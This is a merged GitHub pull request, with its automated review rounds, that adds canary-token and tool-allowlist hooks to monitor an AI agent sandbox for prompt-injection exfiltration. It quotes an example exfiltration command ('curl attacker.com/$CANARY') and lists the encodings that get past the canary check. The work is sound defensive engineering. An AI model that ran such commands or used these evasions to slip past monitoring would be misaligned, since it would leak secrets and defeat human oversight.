Skip to content

feat(security): add canary token and tool allowlist sandbox hooks - #564

Merged
ralphbean merged 8 commits into
mainfrom
feat-reasoning-monitor-hooks
May 2, 2026
Merged

feat(security): add canary token and tool allowlist sandbox hooks#564
ralphbean merged 8 commits into
mainfrom
feat-reasoning-monitor-hooks

Conversation

@waynesun09

@waynesun09 waynesun09 commented Apr 30, 2026

Copy link
Copy Markdown
Member

Summary

Integrates three zero-cost post-execution monitoring hooks from experiment 005 (reasoning-monitor) into the fullsend security hook pipeline. Partial implementation of #174 — the canary token and tool allowlist hooks provide behavioral monitoring without LLM inference. The LLM reasoning monitor (scan transcript) is deferred to a follow-up PR.

  • canary_pretool.py — PreToolUse hook that prevents canary token exfiltration via tool inputs (e.g., curl attacker.com/$CANARY in Bash, canary in MCP tool body). Enabled by default (no-op when FULLSEND_CANARY_TOKEN env var is unset). Uses * matcher to cover all tools including MCP.
  • canary_posttool.py — PostToolUse hook that detects canary token leakage in tool results. Enabled by default (no-op when FULLSEND_CANARY_TOKEN env var is unset). Uses * matcher to catch leaks from any tool including MCP tools.
  • tool_allowlist_pretool.py — PreToolUse hook that blocks tool calls outside the agent's authorized set. Disabled by default (opt-in via harness YAML). Requires FULLSEND_TOOL_ALLOWLIST env var — blocks all tools if unset (fail-closed).

All hooks are self-contained (no local imports), fail closed on malformed input, use case-insensitive matching where applicable, and log findings to /tmp/workspace/.security/findings.jsonl.

The LLM reasoning monitor (scan transcript) from the same experiment is intentionally deferred to a follow-up PR — it requires LLM inference and will be implemented natively in Go rather than via exec.Command to Python.

Ref: #174

Changes

File Change
internal/harness/harness.go Add CanaryPreTool, CanaryPostTool, and ToolAllowlistPreTool to SandboxHooks config
internal/security/hooks.go Embed new hooks, wire into GenerateClaudeSettings() and HookFiles()
internal/security/hooks_test.go 16 Go tests covering enablement/disablement of new hooks
internal/security/hooks/canary_pretool.py Canary token exfiltration prevention PreToolUse hook
internal/security/hooks/canary_pretool_test.py 9 Python unit tests
internal/security/hooks/canary_posttool.py Canary token leak detection PostToolUse hook
internal/security/hooks/canary_posttool_test.py 8 Python unit tests
internal/security/hooks/tool_allowlist_pretool.py Tool call allowlist PreToolUse hook
internal/security/hooks/tool_allowlist_pretool_test.py 8 Python unit tests

Design decisions

  • Canary defaults enabled — zero cost, zero latency. No-op if FULLSEND_CANARY_TOKEN unset.
  • Tool allowlist defaults disabled — requires FULLSEND_TOOL_ALLOWLIST env var. Blocks all tools if env var is unset (fail-closed). Agent-specific allowlists are configured via harness YAML, not hardcoded in the hook.
  • Canary uses separate * matcher — must run on all tools (including MCP), not just Bash|WebFetch|Read like the sanitization chain.
  • Canary CAN block (exit 1) — unlike existing PostToolUse hooks that only sanitize. Canary leak is definitive evidence of prompt injection.
  • Case-insensitive matching.lower() on both canary token and search target to prevent trivial case-variant evasion.

Test plan

  • go test ./internal/security/ — all 16 hook tests pass
  • pytest canary_pretool_test.py — 9/9 pass
  • pytest canary_posttool_test.py — 8/8 pass
  • pytest tool_allowlist_pretool_test.py — 8/8 pass
  • go vet ./... — clean
  • CI pipeline passes

Integrate two zero-cost post-execution monitoring hooks from
experiment 005 (reasoning-monitor) into the fullsend security
hook pipeline:

- canary_posttool.py: PostToolUse hook that detects canary token
  leakage in tool results. Enabled by default (no-op if
  FULLSEND_CANARY_TOKEN env var unset). Matches all tools (*).

- tool_allowlist_pretool.py: PreToolUse hook that blocks tool calls
  outside the agent's authorized set. Disabled by default (opt-in).
  Reads FULLSEND_TOOL_ALLOWLIST env var or falls back to a triage
  agent default. Matches all tools (*).

Both hooks are self-contained (no local imports), fail closed on
malformed input, and log findings to /tmp/workspace/.security/
findings.jsonl for audit trail.

Signed-off-by: Wayne Sun <gsun@redhat.com>
@github-actions

github-actions Bot commented Apr 30, 2026

Copy link
Copy Markdown

Site preview

Preview: https://2368f402-site.fullsend-ai.workers.dev

Commit: 175bc378f88554c9b1369cf055568b84e2ddf395

@fullsend-ai-review

fullsend-ai-review Bot commented Apr 30, 2026

Copy link
Copy Markdown

Review: #564

Head SHA: 175bc37
Timestamp: 2026-05-01T23:40:10.053397+00:00
Outcome: approve

Summary

Clean, well-structured implementation of three security hooks (canary pretool, canary posttool, tool allowlist pretool) that follows the established hook patterns exactly. The hooks are self-contained, fail closed on error, and have comprehensive test coverage (16 Go + 25 Python tests). The canary PostToolUse hook correctly uses a separate * matcher from the Bash|WebFetch|Read sanitization chain — since the canary hook is read-only (block/allow only, no output modification), parallel execution with the sanitization chain is safe. Default states are appropriate: canary hooks enabled by default (zero-cost no-op when env var unset), tool allowlist disabled by default (opt-in, fail-closed when enabled without allowlist env var). No critical, high, or medium findings.

Findings

Info

  • [correctness] internal/security/hooks/tool_allowlist_pretool.py:65 — Empty stdin causes the tool allowlist hook to exit 0 (allow), which is consistent with all other hooks but means a hypothetical malformed hook invocation with empty stdin would bypass the allowlist. In practice this requires a Claude Code bug (hooks always receive tool call JSON), and the existing hooks all follow this same convention, so this is a non-issue.

  • [correctness] internal/security/hooks/canary_pretool.py:20 — The documented limitation (plain substring match only — base64, URL-encoding, hex escaping, and string splitting/concatenation evade detection) is honestly acknowledged. Future hardening could add common encoding checks, but the current approach catches the most common exfiltration patterns and the limitation is well-documented.

  • [style] internal/security/hooks/ — The three hooks share identical boilerplate (log_finding, stdin parsing, error constants). This duplication is intentional per the design constraint that hooks must be self-contained with no local imports for sandbox deployment. Correct trade-off for security-critical code.

Footer

Outcome: approve
This review applies to SHA 175bc378f88554c9b1369cf055568b84e2ddf395. Any push to the PR head clears this review and requires a new evaluation.

Previous run

Review: #564

Head SHA: f84c91e
Timestamp: 2026-04-30T00:00:00Z
Outcome: approve

Summary

This PR adds three well-structured security hooks (canary pretool, canary posttool, tool allowlist pretool) that integrate cleanly into the existing hook pipeline. The implementation follows established patterns exactly — file naming, Go enable/disable wiring, Python hook structure, test conventions, and fail-closed error handling all match the existing ssrf_pretool.py and other hooks. The architectural decision to use a separate * matcher for canary hooks (rather than chaining with the Bash|WebFetch|Read sanitization hooks) is correct: the canary hooks need to cover all tools including MCP, and since they only block (never modify results), parallel execution with the sanitization chain is safe. No critical or high findings.

Findings

Info

  • [correctness] internal/security/hooks/tool_allowlist_pretool.py:93 — The tool allowlist uses exact case-sensitive matching (tool_name in allowed_tools) while the canary hooks use case-insensitive matching (.lower()). This is intentional and correct — Claude Code tool names are stable identifiers (e.g., Bash, Read, WebFetch, mcp__github__issue_read), so case-insensitive matching would be unnecessary and could mask misconfiguration. No action needed.

  • [correctness] internal/security/hooks/canary_pretool.py:18-20 — The known limitations section correctly documents that plain substring matching is evadable via base64, URL-encoding, hex escaping, and string splitting/concatenation. This is an honest trade-off for a zero-cost hook. The PR description and issue Experiment: reasoning monitor agent for prompt injection detection #174 discussion acknowledge this and position canary tokens as one layer in a defense-in-depth strategy, not a standalone defense.

  • [style] internal/security/hooks/canary_posttool.py / canary_pretool.py — The log_finding function creates the findings directory on every call (os.makedirs(..., exist_ok=True)). The existing ssrf_pretool.py does not do this (it assumes the directory exists). The new hooks are more robust — this is a minor positive deviation, not a concern.

  • [correctness] internal/security/hooks_test.go — Go test coverage is thorough: 16 tests cover all enable/disable combinations, correct matcher counts, correct matcher patterns, and independent toggle behavior (disabling canary pretool doesn't affect canary posttool and vice versa). Python tests cover the core paths: no-canary-configured passthrough, canary-present/absent, case-insensitive matching, malformed JSON, empty stdin, MCP tool coverage, and JSON tool_result serialization.

Footer

Outcome: approve
This review applies to SHA f84c91ef4e1f6c8b3999c2216989c372a7bc2dea. Any push to the PR head clears this review and requires a new evaluation.

Previous run (2)

Review: #564

Head SHA: f84c91e
Timestamp: 2026-04-30T00:00:00Z
Outcome: approve

Summary

This PR adds three well-implemented security hooks (canary pretool, canary posttool, tool allowlist pretool) that follow the existing hook architecture closely. The hooks are self-contained, fail closed on all error paths, and have comprehensive test coverage (37 Python tests + 16 Go tests). The canary hooks default to enabled (zero-cost no-op when env var is unset) and the tool allowlist defaults to disabled (opt-in), which are appropriate defaults. No critical or high findings; medium and low observations below are non-blocking.

Findings

Medium

  • [Style/conventions] canary_pretool.py, canary_posttool.py, tool_allowlist_pretool.py — The log_finding() function is duplicated verbatim across all three hooks (~17 lines each). This is a deliberate design choice for self-contained hooks (no local imports, each is embedded via go:embed), but as the hook count grows, consider extracting a shared utility that gets embedded alongside the hooks. Not blocking since the current count is manageable.

  • [Correctness] canary_posttool.py — The canary PostToolUse hook uses a * matcher separate from the Bash|WebFetch|Read sanitization chain. Per the code comment, separate matchers run in parallel on the original result. This means the canary hook sees the raw tool result before secret redaction or unicode sanitization. This is actually desirable for detection (redaction could mask the canary), but it's worth documenting this ordering dependency explicitly so future maintainers understand the canary hook intentionally runs on unsanitized output.

Low

  • [Correctness] tool_allowlist_pretool.py:33-41DEFAULT_TRIAGE_ALLOWLIST hardcodes five MCP tool names. If the GitHub MCP server renames tools, this breaks. Mitigated by the hook being disabled by default and requiring explicit FULLSEND_TOOL_ALLOWLIST env var for production use, but the hardcoded default could surprise operators who enable the hook without setting the env var. Consider adding a comment noting the coupling to the MCP server's tool naming.

  • [Correctness] canary_pretool.py, canary_posttool.py — As documented in the "Known limitations" section, plain substring matching is trivially evaded by encoding (base64, URL-encoding, hex), string splitting in shell, or Unicode homoglyphs. The hooks acknowledge this and the PR defers more sophisticated detection to the LLM reasoning monitor follow-up. Non-blocking since canary tokens are defense-in-depth, not a standalone defense.

Info

  • [Style/conventions] internal/harness/harness.go:19-20 — Minor alignment nit: the trailing comments on CanaryPreTool and CanaryPostTool fields use extra spaces to align with the // default: true comments above, but the alignment doesn't quite match the column of the other fields. Non-functional.

Footer

Outcome: approve
This review applies to SHA f84c91ef4e1f6c8b3999c2216989c372a7bc2dea. Any push to the PR head clears this review and requires a new evaluation.

Previous run (3)

Review: #564

Head SHA: f84c91e
Timestamp: 2026-04-30T00:00:00Z
Outcome: comment-only

Summary

This PR adds three security hooks (canary pretool, canary posttool, and tool allowlist pretool) to the sandbox hook pipeline. The implementation is correct, follows established patterns, has comprehensive test coverage, and makes sound security design decisions (fail closed on malformed input, zero-cost when disabled). Two medium-severity findings warrant attention — the PR description omits two files from the change table, and the tool allowlist hook allows on empty stdin, which is inconsistent with its security role — but neither blocks the change.

Findings

Medium

  • [Intent alignment] PR description — The PR body's Changes table lists 7 files, but the actual diff contains 9. The undocumented files are canary_pretool.py and canary_pretool_test.py — a PreToolUse counterpart to the described PostToolUse canary hook that catches canary exfiltration in tool inputs before data leaves the sandbox. The code is correct and valuable, but the PR description should document all changed files to ensure reviewers evaluate the full scope.
    Remediation: Update the PR description's Changes table and Summary to mention canary_pretool.py and its tests.

  • [Correctness] internal/security/hooks/tool_allowlist_pretool.py:76 — The tool allowlist hook exits 0 (allow) on empty stdin. For sanitization hooks (unicode, secret_redact), allowing on empty input is reasonable since there's nothing to sanitize. But the tool allowlist is a blocking hook whose purpose is to prevent unauthorized tool calls. If empty stdin is received (e.g., a protocol edge case or bug), the hook silently allows the call without verifying the tool is authorized. This is inconsistent with the hook's fail-closed design on malformed JSON.
    Remediation: Consider whether empty stdin should block (exit 1) for the allowlist hook specifically. If the current behavior is intentional (matching the established hook protocol), add a code comment explaining why empty stdin is allowed rather than blocked.

Low

  • [Correctness] internal/security/hooks/tool_allowlist_pretool.py:41-49 — The hardcoded DEFAULT_TRIAGE_ALLOWLIST contains 5 MCP tool names. If the MCP GitHub integration adds, renames, or restructures tools, this default becomes stale and will silently block legitimate triage agent operations. The env var override (FULLSEND_TOOL_ALLOWLIST) mitigates this for operators who set it, but the default path has no staleness signal.
    Remediation: Consider adding a comment noting this list must be kept in sync with the MCP GitHub tool definitions, or logging an info-level finding when the default list is used (as opposed to the env var) so operators can identify reliance on the default.

Info

  • [Style/conventions] canary_pretool.py, canary_posttool.py, tool_allowlist_pretool.py — The three hooks share ~40 lines of identical boilerplate (log_finding(), stdin parsing, error constants, size limits). This is intentional per the PR's design constraint that hooks be self-contained with no local imports. No action needed, but worth noting if a shared module is ever considered.

  • [Correctness] canary_pretool.py, canary_posttool.py — The documented known limitation (plain substring match; base64/URL-encoding/hex/string-splitting evades detection) is appropriate for a zero-cost first layer. The case-insensitive match (canary.lower() in tool_input.lower()) covers trivial case variations. The PR correctly defers more sophisticated matching to future work.

  • [Platform security] PostToolUse canary hook uses a separate * matcher rather than being chained into the existing Bash|WebFetch|Read matcher. This is correct: the canary must cover all tools (including MCP), and since the canary hook only reads (doesn't modify) tool results, parallel execution with the sanitization chain is safe. The canary checks the original result before sanitization, which is the desired behavior — you want to detect leaks even if sanitization would strip them.

Footer

Outcome: comment-only
This review applies to SHA f84c91ef4e1f6c8b3999c2216989c372a7bc2dea. Any push to the PR head clears this review and requires a new evaluation.

Previous run (4)

Review: #564

Head SHA: f37b860
Timestamp: 2026-04-30T00:00:00Z
Outcome: approve

Summary

This PR adds three self-contained security hooks (canary pretool, canary posttool, tool allowlist pretool) to the sandbox hook pipeline, implementing the canary token and tool-allowlist portions of #174. The code is well-structured, follows existing patterns exactly, fails closed on all error paths, and has thorough test coverage across both Python unit tests and Go integration tests. No critical or high findings. One medium finding on PR body accuracy.

Findings

Medium

  • [Intent alignment] PR body — The changes table lists 7 files but the diff contains 9. canary_pretool.py and canary_pretool_test.py (200 lines of new code) are omitted from the PR description table, and the harness.go entry says "Add CanaryPostTool and ToolAllowlistPreTool" but omits CanaryPreTool. The actual change is well-scoped and aligns with Experiment: reasoning monitor agent for prompt injection detection #174, but the description should accurately reflect all files changed.
    Remediation: Update the PR body to include canary_pretool.py and canary_pretool_test.py in the changes table and mention CanaryPreTool in the harness.go entry.

Info

  • [Correctness] canary_pretool.py, canary_posttool.py — Plain substring matching for canary detection is acknowledged as a known limitation in docstrings. Base64, URL-encoding, hex escaping, and string splitting/concatenation will evade detection. Acceptable for a first-pass defense layer; the docstrings correctly document this tradeoff.

  • [Style] All hooks — Significant boilerplate duplication across hooks (log_finding, input parsing, error handling). This is intentional and correct given the self-contained/no-local-imports constraint documented in the PR body.

Footer

Outcome: approve
This review applies to SHA f37b8605ff8122210f75a5300d761fd6ed4f4367. Any push to the PR head clears this review and requires a new evaluation.

Previous run (5)

Review: #564

Head SHA: ee584fa
Timestamp: 2026-04-30T00:00:00Z
Outcome: comment-only

Summary

This PR adds three new security hooks (canary posttool, canary pretool, tool allowlist pretool) to the sandbox hook pipeline, following established patterns from existing hooks. The code is well-structured, fails closed on malformed input, has good test coverage (Go integration tests + Python unit tests), and makes sound security design choices (canary enabled by default, allowlist opt-in). No critical or high findings were identified. The findings below are informational and low-severity observations worth noting for future iterations.

Findings

Medium

  • [Intent alignment] PR description — The PR body's file table lists 7 files but the actual diff contains 9 changed files. canary_pretool.py and canary_pretool_test.py are present in the diff but entirely absent from the PR summary, changes table, and design decisions section. The summary describes only "canary_posttool.py — PostToolUse hook that detects canary token leakage in tool results" without mentioning the PreToolUse counterpart that prevents exfiltration via tool inputs. This is not a code defect but makes the PR description an incomplete record of what the change actually does. Consider updating the PR body to document both canary hooks.

Low

  • [Correctness] internal/security/hooks/canary_posttool.py:54 / canary_pretool.py:54 — Canary detection uses a literal case-sensitive substring match (canary in tool_result). An attacker who knows a canary token exists could bypass detection by encoding the token (base64, URL-encoding, hex, splitting across multiple tool calls, or case-folding). This is an inherent limitation of string-match canaries and is acknowledged in the linked issue Experiment: reasoning monitor agent for prompt injection detection #174's discussion. Defense-in-depth with the reasoning monitor (deferred to follow-up) would cover these gaps. No action required now but worth tracking.

  • [Correctness] internal/security/hooks/tool_allowlist_pretool.py:65-66 — An empty tool_name field causes the hook to exit 0 (allow), which is inconsistent with the hook's fail-closed stance on malformed JSON input. If Claude Code ever sends a hook event with a missing or empty tool_name, the allowlist check is bypassed entirely. In practice, Claude Code always populates tool_name, so this is unlikely to be exploitable, but the asymmetry between "malformed JSON → block" and "empty tool_name → allow" is worth noting. Consider whether an empty tool_name should also block.

Info

  • [Style] internal/security/hooks/canary_posttool.py / canary_pretool.py — The two canary hooks share ~80% identical code (log_finding, stdin parsing, error handling, findings path). If more hooks follow this pattern, consider extracting a shared base module. For now, the duplication is acceptable since the hooks are self-contained by design (no local imports, as stated in the PR description).

  • [Platform security] internal/security/hooks.go:89-95 — The canary posttool runs as a separate * matcher in PostToolUse, parallel to the Bash|WebFetch|Read chain. This is correct: the canary hook reads (does not modify) the original tool result, so parallel execution with the sanitization chain avoids the conflict described in the existing comment. It also means the canary sees the pre-sanitization result, which is desirable — secret redaction or unicode stripping won't mask a canary leak.

  • [Correctness] Go test coverage — The 14 Go tests in hooks_test.go thoroughly verify enablement/disablement combinations and matcher counts for the new hooks. Python tests cover the core detection logic, edge cases (empty stdin, malformed JSON, JSON tool results), and the no-op path when the env var is unset. Test coverage is solid.

Footer

Outcome: comment-only
This review applies to SHA ee584fa6fd84d9c3607c6b56ce7f12d59aa8690a. Any push to the PR head clears this review and requires a new evaluation.

Previous run (6)

Review: #564

Head SHA: 9ed5090
Timestamp: 2026-04-30T00:00:00Z
Outcome: comment-only

Summary

Well-structured PR that adds two self-contained security hooks following established patterns. The canary token hook (enabled by default, no-op without env var) and tool allowlist hook (disabled by default, opt-in) integrate cleanly into the existing hook pipeline with appropriate * matchers for broad coverage. Go integration and enablement logic are correct, and test coverage is thorough across both Python and Go. Two minor defensive-depth gaps are worth addressing in a follow-up but are not blocking.

Findings

Medium

  • [Correctness] internal/security/hooks/canary_posttool.py:53 — No input size guard. The existing ssrf_pretool.py protects against oversized inputs with MAX_INPUT_BYTES = 10 * 1024 * 1024 and fails closed when exceeded. Both new hooks use unbounded sys.stdin.read() without a size limit. While Claude Code typically constrains tool result sizes, this is a defense-in-depth gap — a maliciously large tool result (e.g., from an MCP tool) could cause OOM.
    Remediation: Add MAX_INPUT_BYTES guard matching the pattern in ssrf_pretool.py: raw = sys.stdin.read(MAX_INPUT_BYTES + 1) followed by a size check.

  • [Correctness] internal/security/hooks/tool_allowlist_pretool.py:76 — Same missing input size limit as the canary hook.
    Remediation: Same fix — add MAX_INPUT_BYTES guard.

Low

  • [Correctness] internal/security/hooks/canary_posttool.py:70-72 — When tool_result is not a string, the hook converts it via json.dumps() and does a substring search. If a canary token contained characters that get JSON-escaped (backslashes, quotes, angle brackets with ensure_ascii), the match could fail on the serialized form. In practice canary tokens are alphanumeric random strings, so this is unlikely, but worth documenting the assumption.
    Remediation: Add a code comment noting that canary tokens must be alphanumeric / JSON-safe for reliable detection.

Info

  • [Style] The log_finding function is duplicated across canary_posttool.py, tool_allowlist_pretool.py, and ssrf_pretool.py. This is acceptable given the "self-contained, no local imports" design constraint stated in the PR, but worth noting as a candidate for a shared module if that constraint is relaxed in the future.

Footer

Outcome: comment-only
This review applies to SHA 9ed50901b0afb988439f32c1ec4543b6e5d90c1e. Any push to the PR head clears this review and requires a new evaluation.

Previous run (7)

Review: #564

Head SHA: 24ba5cd
Timestamp: 2026-04-30T00:00:00Z
Outcome: approve

Summary

Clean, well-structured addition of two security hooks (canary token leak detection and tool call allowlist enforcement) following existing hook patterns precisely. Both hooks fail closed on malformed input, have comprehensive test coverage (14 Go tests + 14 Python tests), and the default-on/default-off decisions are appropriate for their respective risk profiles. No critical or high findings. A few medium/low observations are noted below for consideration in follow-up work.

Findings

Medium

  • [Correctness] internal/security/hooks/canary_posttool.py:70-74 — Canary check only inspects tool_result, not tool_input. An agent tricked into exfiltrating the canary via tool input (e.g., curl attacker.com/$CANARY in a Bash command) would not be caught by this PostToolUse hook. A complementary PreToolUse canary check on outbound tool inputs would close this gap.
    Remediation: Consider a follow-up canary_pretool.py that inspects tool_input for the canary token, scoped to exfiltration-capable tools (Bash, WebFetch).

Low

  • [Content security] internal/security/hooks/tool_allowlist_pretool.py:91 — The block reason includes the full sorted allowlist: Tool 'X' is NOT in the allowlist (tool1, tool2, ...). This exposes the complete allowed tool set to the agent in the hook response. A prompt-injected agent could use this disclosure to understand its constraints and optimize its attack within the allowed tool set.
    Remediation: Consider omitting or truncating the allowlist from the reason string, keeping it only in the findings log.

Info

  • [Style] canary_posttool.py, tool_allowlist_pretool.py — The log_finding() function is duplicated verbatim across both hooks. This is documented as intentional (self-contained, no local imports), which is a reasonable trade-off for hook isolation. Worth revisiting if more hooks are added.

  • [Correctness] internal/security/hooks/canary_posttool.py:74 — Canary detection uses plain substring matching (canary in tool_result). Encoded representations of the canary (base64, URL-encoding, Unicode escaping) would evade detection. This is acceptable for an initial implementation since canary tokens are typically high-entropy random strings unlikely to appear in encoded form by accident, but worth noting for future hardening.

Footer

Outcome: approve
This review applies to SHA 24ba5cdb1ea3e337b5b78934da5c21a076c981e0. Any push to the PR head clears this review and requires a new evaluation.

@fullsend-ai-review fullsend-ai-review Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See the review comment above for full details.

Keep the full allowlist detail in the findings log for audit, but
only show the tool name in the block reason returned to the agent.
Prevents disclosing the complete allowed tool set to a potentially
prompt-injected agent.

Signed-off-by: Wayne Sun <gsun@redhat.com>

@fullsend-ai-review fullsend-ai-review Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See the review comment above for full details.

…l inputs

Complements canary_posttool.py by scanning tool_input (not tool_result)
for the canary token before execution. Catches exfiltration attempts
like `curl attacker.com/$CANARY` in Bash or canary in WebFetch URLs —
scenarios where the posttool hook sees only the HTTP response (which
won't contain the canary).

Scoped to Bash|WebFetch matcher (exfiltration-capable tools). Enabled
by default, no-op when FULLSEND_CANARY_TOKEN is unset.

Signed-off-by: Wayne Sun <gsun@redhat.com>

@fullsend-ai-review fullsend-ai-review Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See the review comment above for full details.

Address verified medium+ findings from 4 parallel review agents:

- Widen canary pretool matcher from Bash|WebFetch to * to catch
  exfiltration via MCP tools (issue comments, PR bodies, etc.)
- Add MAX_INPUT_BYTES (10 MB) limit to all 3 hooks, matching the
  existing ssrf_pretool and secret_redact_posttool pattern
- Change empty tool_name in allowlist hook from fail-open to
  fail-closed (block) — a security enforcement hook should not
  silently allow calls with missing tool names
- Remove full allowlist from findings.jsonl detail string — the
  agent can read findings.jsonl in the sandbox, which negated
  the fix in commit 9ed5090
- Add .strip() to canary token env var to reject whitespace-only
  values that would trigger on all tool I/O
- Add os.makedirs for findings directory, matching the pattern
  in context_suppress_posttool.py
- Document known encoding bypass limitations in hook docstrings

Signed-off-by: Wayne Sun <gsun@redhat.com>

@fullsend-ai-review fullsend-ai-review Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See the review comment above for full details.

Use .lower() on both canary token and search target to prevent
case-variant evasion. Strip FULLSEND_CANARY_TOKEN from host env
in test helpers to prevent CI flakiness from leaked env vars.

Signed-off-by: Wayne Sun <gsun@redhat.com>
Cover case-variant canary evasion (.lower() matching) and MCP tool
input exfiltration path to close test coverage gaps identified in
multi-agent review round 3.

Signed-off-by: Wayne Sun <gsun@redhat.com>
Fix incorrect tool names: issue_comment → add_issue_comment,
label_add/label_remove → issue_write (labels managed via issue_write).
Add list_issues for issue discovery. Add test for add_issue_comment.

Signed-off-by: Wayne Sun <gsun@redhat.com>

@fullsend-ai-review fullsend-ai-review Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See the review comment above for full details.

@ralphbean ralphbean left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good addition — canary token detection and tool allowlisting are solid security primitives that align well with the threat model and issue #174. The implementation follows established hook patterns and the test coverage is thorough.

Three items need attention before merging:

  1. Canary pretool matcher scope — uses Bash|WebFetch while posttool uses *. Exfiltration via MCP tools (e.g., posting canary to a GitHub issue comment) would be missed. Either widen to * or add a comment justifying the narrower scope.
  2. No MAX_INPUT_BYTES limit — all three new hooks diverge from existing hooks (ssrf_pretool.py, secret_redact_posttool.py) which enforce a 10MB input cap and fail closed on oversized input.
  3. Case-sensitive canary matchingif canary in tool_result is trivially bypassed by case manipulation. canary.lower() in tool_result.lower() is a low-cost improvement.

Comment thread internal/security/hooks.go Outdated
Comment thread internal/security/hooks/canary_posttool.py Outdated
Comment thread internal/security/hooks/canary_posttool.py Outdated
Comment thread internal/security/hooks/tool_allowlist_pretool.py
@waynesun09

Copy link
Copy Markdown
Member Author

/review

@fullsend-ai-review fullsend-ai-review Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See the review comment for full details.

@waynesun09

Copy link
Copy Markdown
Member Author

/review

@fullsend-ai-review fullsend-ai-review Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See the review comment for full details.

@ralphbean ralphbean left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Overall this is a well-structured PR that follows established patterns. The canary hooks are a strong addition to the security pipeline, and the iterative hardening across commits shows good responsiveness to review feedback.

All 4 findings from the previous review round have been addressed (matcher widened to *, MAX_INPUT_BYTES added, case-insensitive matching, empty tool_name fail-closed). 👍

One change requested, one item noted for follow-up.

Comment thread internal/security/hooks/tool_allowlist_pretool.py Outdated
Comment thread internal/security/hooks.go
Comment thread internal/security/hooks/tool_allowlist_pretool.py
Remove hardcoded DEFAULT_TRIAGE_ALLOWLIST — unset FULLSEND_TOOL_ALLOWLIST
now blocks all tools (fail-closed), forcing explicit configuration.
Triage-specific allowlists belong in harness YAML, not the hook.

Signed-off-by: Wayne Sun <gsun@redhat.com>

@fullsend-ai-review fullsend-ai-review Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See the review comment for full details.

@ralphbean ralphbean left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks!

@ralphbean
ralphbean added this pull request to the merge queue May 2, 2026
Merged via the queue into main with commit b31a17c May 2, 2026
33 checks passed
@ralphbean
ralphbean deleted the feat-reasoning-monitor-hooks branch May 2, 2026 02:08
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants